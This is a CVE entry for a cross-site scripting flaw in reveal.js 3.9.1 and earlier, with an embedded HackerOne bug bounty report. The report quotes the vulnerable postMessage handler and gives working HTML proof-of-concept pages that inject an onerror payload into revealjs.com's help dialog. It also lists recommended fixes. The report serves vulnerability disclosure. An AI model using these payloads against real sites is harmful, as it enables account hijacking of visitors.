ID CVE-2020-8127 Type cve Reporter cve@mitre.org Modified 2020-03-03T21:30:00
Description
Insufficient validation in cross-origin communication (postMessage) in reveal.js version 3.9.1 and earlier allow attackers to perform cross-site scripting attacks.
{"hackerone": [{"lastseen": "2020-02-28T19:35:54", "bulletinFamily": "bugbounty", "bounty": 0.0, "cvelist": ["CVE-2020-8127"], "description": "I would like to report XSS in reveal.js\nIt allows gaining access to the victim's account and performing actions on his behalf\n\n# Module\n\n**module name:** reveal.js\n**version:** 3.8.0\n**npm page:** `https://www.npmjs.com/package/reveal.js`\n\n## Module Description\n\n> A framework for easily creating beautiful presentations using HTML. Check out the live demo.\n> \n> reveal.js comes with a broad range of features including nested slides, Markdown contents, PDF export, speaker notes and a JavaScript API. There's also a fully featured visual editor and platform for sharing reveal.js presentations at slides.com.\n\n## Module Stats\n\n[N/A] downloads in the last day\n[4666] downloads in the last week\n[N/A] downloads in the last month\n\n# Vulnerability\n\n## Vulnerability Description\n\nThe `setupPostMessage` function accepts messages from arbitrary origins and allows calling any method available in Reveal:\n\n```javascript\nfunction setupPostMessage() {\n\t\n\tif( config.postMessage ) {\n\t\twindow.addEventListener( 'message', function ( event ) {\n\t\t\tvar data = event.data;\n\t\t\t\n\t\t\t// Make sure we're dealing with JSON\n\t\t\tif( typeof data === 'string' && data.charAt( 0 ) === '{' && data.charAt( data.length - 1 ) === '}' ) {\n\t\t\t\tdata = JSON.parse( data );\n\n\t\t\t\t// Check if the requested method can be found\n\t\t\t\tif( data.method && typeof Reveal[data.method] === 'function' ) {\n\t\t\t\t\tReveal[data.method].apply( Reveal, data.args );\n\t\t\t\t}\n\t\t\t}\n\t\t}, false );\n\t}\n}\n```\n\nFor the proof of concept let's consider the `addKeyBinding` method. It pushes the provided key data (code, description and callback) into the `registeredKeyBindings` array:\n\n```javascript\nfunction addKeyBinding( binding, callback ) {\n\t\n\tif( typeof binding === 'object' && binding.keyCode ) {\n\t\tregisteredKeyBindings[binding.keyCode] = {\n\t\t\tcallback: callback,\n\t\t\tkey: binding.key,\n\t\t\tdescription: binding.description\n\t\t};\n\t}\n\telse {\n\t\tregisteredKeyBindings[binding] = {\n\t\t\tcallback: callback,\n\t\t\tkey: null,\n\t\t\tdescription: null\n\t\t};\n\t}\n\t\n}\n```\n\nwhich in its turn is put into HTML without sufficient validation within the `showHelp` method:\n\n```javascript\nfunction showHelp() {\n\t\n\t...\n\t\n\tfor( var binding in registeredKeyBindings ) {\n\t\tif( registeredKeyBindings[binding].key && registeredKeyBindings[binding].description ) {\n\t\t\thtml += '<tr><td>' + registeredKeyBindings[binding].key + '</td><td>' + registeredKeyBindings[binding].description + '</td></tr>';\n\t\t}\n\t}\n\t\n\t...\n\t\n}\n```\n\nAll in all this allows the attacker to perform XSS via postMessage by submitting payloads in its data (PoC against the https://revealjs.com homepage):\n\n```html\n<html>\n <head>\n <title>XSS</title>\n \n\t\t<style>\n\t\t\tiframe\n\t\t\t{\n\t\t\t\twidth: 100%;\n\t\t\t\theight: 100%;\n\t\t\t\tborder: none;\n\t\t\t}\n\t\t</style>\n </head>\n <body>\n <iframe name=\"reveal\" src=\"https://revealjs.com\" onload=\"xss()\"></iframe>\n\n <script>\n var frame = window.frames.reveal\n \n function xss ()\n {\n frame.postMessage ('{\"method\":\"addKeyBinding\",\"args\":[{\"keyCode\":666,\"key\":\"Pwned\",\"description\":\"<img src=x onerror=alert(document.domain)>\"}]}', '*')\n frame.postMessage ('{\"method\":\"toggleHelp\"}', '*')\n }\n </script>\n </body>\n</html>\n```\n\nhttp://spqr.zz.mu/reveal.php\n\n```html\n<script>\n var win = window.open ('https://revealjs.com')\n \n function xss ()\n {\n win.postMessage ('{\"method\":\"addKeyBinding\",\"args\":[{\"keyCode\":666,\"key\":\"Pwned\",\"description\":\"<img src=x onerror=alert(document.domain)>\"}]}', '*')\n win.postMessage ('{\"method\":\"toggleHelp\"}', '*')\n }\n \n setTimeout (xss, 500)\n</script>\n```\n\nhttp://spqr.zz.mu/reveal_open.php\n\n\n## Steps To Reproduce:\n\nOpen one of these links in any browser and wait for the page to load:\n\n* http://spqr.zz.mu/reveal.php\n* http://spqr.zz.mu/reveal_open.php\n\n{F579591}\n\n## Patch\n\n* Use secure HTML assignment at the `showHelp` method\n* Check other available methods for similar vulnerabilites\n* By default allow calling secure methods only\n* By default turn on secure configs only\n* Prohibit overriding them via seach params\n* By default allow messages from whitelisted origins only\n\n## Supporting Material/References:\n\n- Any\n- 4.0.0 or later\n- Any\n- Any\n- Any\n\n# Wrap up\n\n- I contacted the maintainer to let them know: [N] \n- I opened an issue in the related repository: [N] \n\n# Hunter's comments and funny memes goes here\n\n[Presentation with reveal.js about xss](https://github.com/fabidick22/presentation-xss)\n\n{F579592}\n\n## Impact\n\nGaining access to the victim's account and performing actions on his behalf", "modified": "2020-02-18T13:55:42", "published": "2019-09-10T18:29:45", "id": "H1:691977", "href": "https://hackerone.com/reports/691977", "type": "hackerone", "title": "Node.js third-party modules: [reveal.js] XSS by calling arbitrary method via postMessage", "cvss": {"score": 0.0, "vector": "NONE"}}]}